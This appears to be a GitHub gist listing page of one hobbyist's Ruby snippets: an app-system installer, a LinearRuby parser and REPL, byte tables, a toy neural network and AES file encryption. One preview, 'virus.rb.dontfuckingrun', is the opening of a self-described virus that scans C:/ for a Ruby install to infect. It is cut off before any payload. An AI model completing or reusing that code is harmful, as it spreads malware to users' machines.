Skip to content

Instantly share code, notes, and snippets.

@thomasjslone
thomasjslone / rubin_installer.rb
Created March 17, 2023 13:45
tlc revision 19
VERSION='1.0.019'
unless defined?(VERSION); VERSION = "0"; end
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s
launch_directory=Dir.getwd
launch_time=Time.now
puts ""
puts "Dir: "+launch_directory.to_s
@thomasjslone
thomasjslone / rubin_installer.rb
Last active March 24, 2023 21:13
latest rubin 1.0.025-7ish major tlc update for executable handeling and event logging * minor security bug not fixed yet see line 65
VERSION='1.0.025'
#begin
unless defined?(VERSION); VERSION = "0"; end
launch_directory=Dir.getwd; launch_time=Time.now
##prompt
puts "Welcome to the Rubin System installer. Version "+VERSION.to_s
puts ""
puts "Dir: "+launch_directory.to_s
@thomasjslone
thomasjslone / virus.rb.dontfuckingrun
Last active March 24, 2023 22:00
got bored and wrote this in like ten minutes.
INFECTED=TRUE
exit ## remove this to run and line 35
SELF_CODE = ""
maybe_ruby = []; Dir.entries("C:/")[2..-1].each { |e| if e.downcase[0..3] == "ruby; maybe_ruby << e; end }
target=nil
maybe_ruby.each do |r|
p="C:/"+r
if File.directory?(p+"/bin") and File.file?(p+"/bin/ruby.exe"); target = p; break; end
end
if target == nil; exit; end ## failed to find a ruby install to infect
## use this to eval files that were converted to hex
## script = [args[0]].pack('H*').to_s # convert hex string to regular string
##
## This parser is designed to run LinearRuby programs from script files (.lrb files).
## LinearRuby has unimplied rules that can allow programs to ruby on regular ruby and linear ruby, the rules
## can be broken but for the most part breaking them doesnt make sense because in LinearRuby we assume classes
## are useless and write ruby programs in a linear series of script blocks.
## These script files have a few unimplied rules you are expected to follow to create a proper linear ruby file:
##
## 1. No classes or glabals are defined, instance variables and constants replace them.
@thomasjslone
thomasjslone / repl.lrb
Created April 24, 2023 00:41
for lruby parser
# shell.lrb ## LinearRuby version of the shell class from definitions.
@main = self
@context = @main
@cid = 0
@input = nil
@res = nil
@excep = []
@running = nil
def start
@thomasjslone
thomasjslone / definitions.rb
Created April 24, 2023 14:41
definitions 1.4ish i never really kept track, so now its 1.4
#self.rb#5#;#6#;#9#;#9#;#4#;#5#;#6#;#7#;#9#;#6#;#4### self.rb
## CHARACTERS
CHARS = [] ; c = 0 ; 256.times{ CHARS << c.chr.to_s ; c += 1 }
## every 8 bit binary number in cardinal order
BINARY = [] ; c = 0 ; 256.times { b = c.to_s(2) ; until b.to_s.length == 8 ; b = "0" + b.to_s ; end ; BINARY << b ; c += 1 }
## every hexicdeimal number in order
HEX = [] ; c = 0 ; 256.times { h = c.to_s(16) ; if h.length == 1 ; h = "0" + h.to_s ; end ; HEX << h ; c += 1 }
## a list of all 8 bit byte codes for the ascii characters
#BYTES = [] ; HEX.each do |h| ; BYTES << "\\x" + h ; end
##system/region termonology
@thomasjslone
thomasjslone / rnet.rb
Created April 29, 2023 13:59
base concept
class NeuralNetwork
def initialize(num_inputs, num_hidden, num_outputs)
@input_layer = Array.new(num_inputs) { Neuron.new(0) }
@hidden_layer = Array.new(num_hidden) { Neuron.new(num_inputs) }
@output_layer = Array.new(num_outputs) { Neuron.new(num_hidden) }
end
def feed_forward(inputs)
hidden_outputs = @hidden_layer.map { |neuron| neuron.output(inputs) }
@output_layer.map { |neuron| neuron.output(hidden_outputs) }
@thomasjslone
thomasjslone / aes_file_storage.rb
Created May 1, 2023 12:22
obfascate filedata from user
require 'openssl'
# Method to encrypt a file using AES
def encrypt_file_aes(path)
# Generate a random key and initialization vector (IV)
key = OpenSSL::Random.random_bytes(32)
iv = OpenSSL::Random.random_bytes(16)
# Read the file content
file_content = File.read(path)
@thomasjslone
thomasjslone / rubin_1.0.3_installer.rb
Last active July 9, 2024 17:08
Rubin System 1.0.30 Installer april 23 23 - definitions better, app daemond & controller undergoing upgrades
VERSION='1.0.30'
## RubinSystem is a ruby app system enviornment.
##
## Run this script to install Rubin System.
## Either select the directory or enter an install location.
## After installing run "launch.rb" and you will get the system shell by default. The shell runs input as
## ruby script on the RubinSystem context. Precede a command with * if you are entering windows scripts
## or host commands, also *context=MAIN changes shell context. The shell does not handle stack errors well
## so IRB is used to catch error messages that crash the shell.
@thomasjslone
thomasjslone / generate_cert.rb
Created May 2, 2023 22:52
file certs i cant wait to break
def generate_certificate(filepath)
file_size = File.size(filepath) # Get the size of the file
total = file_size # Iterate over every byte of the file and add its value to the size
File.open(filepath, "rb") do |file|
while byte = file.read(1)
total += byte.unpack('C').first
end
end
certificate = total.to_f / file_size # Divide the total by the size of the file to create the certificate
return certificate.to_s